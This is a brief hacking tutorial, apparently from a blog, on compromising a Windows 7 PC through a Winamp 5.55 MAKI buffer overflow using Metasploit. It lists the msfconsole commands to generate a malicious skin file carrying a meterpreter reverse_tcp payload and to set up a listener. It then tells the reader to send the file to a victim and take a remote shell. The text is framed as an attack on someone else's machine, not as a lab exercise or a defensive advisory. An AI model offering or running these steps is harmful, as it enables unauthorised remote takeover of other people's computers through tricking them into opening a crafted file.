Hack Remote Windows 7 PC using Winamp MAKI Buffer Overflow

This module exploits a stack based buffer overflow in Winamp 5.55. The flaw exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file, where memmove is used within a insecure way with user controlled data. To exploit the vulnerability the attacker must convince the attacker to install the generated mcvcore.maki file in the “scripts” directory of the default “Bento” skin, or generate a new skin using the crafted mcvcore.maki file. The module has been tested successfully on Windows XP SP3 and Windows 7 SP1.

Exploit Targets

Winamp 5.55


Attacker: Backtrack 5

Victim PC: Windows 7

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/winamp_maki_bof

msf exploit (winamp_maki_bof)>set payload windows/meterpreter/reverse_tcp

msf exploit (winamp_maki_bof)>set lhost (IP of Local Host)

msf exploit (winamp_maki_bof)>exploit

After we successfully generate the malicious maki File, it will stored on your local computer


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your mcvcore.maki files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.
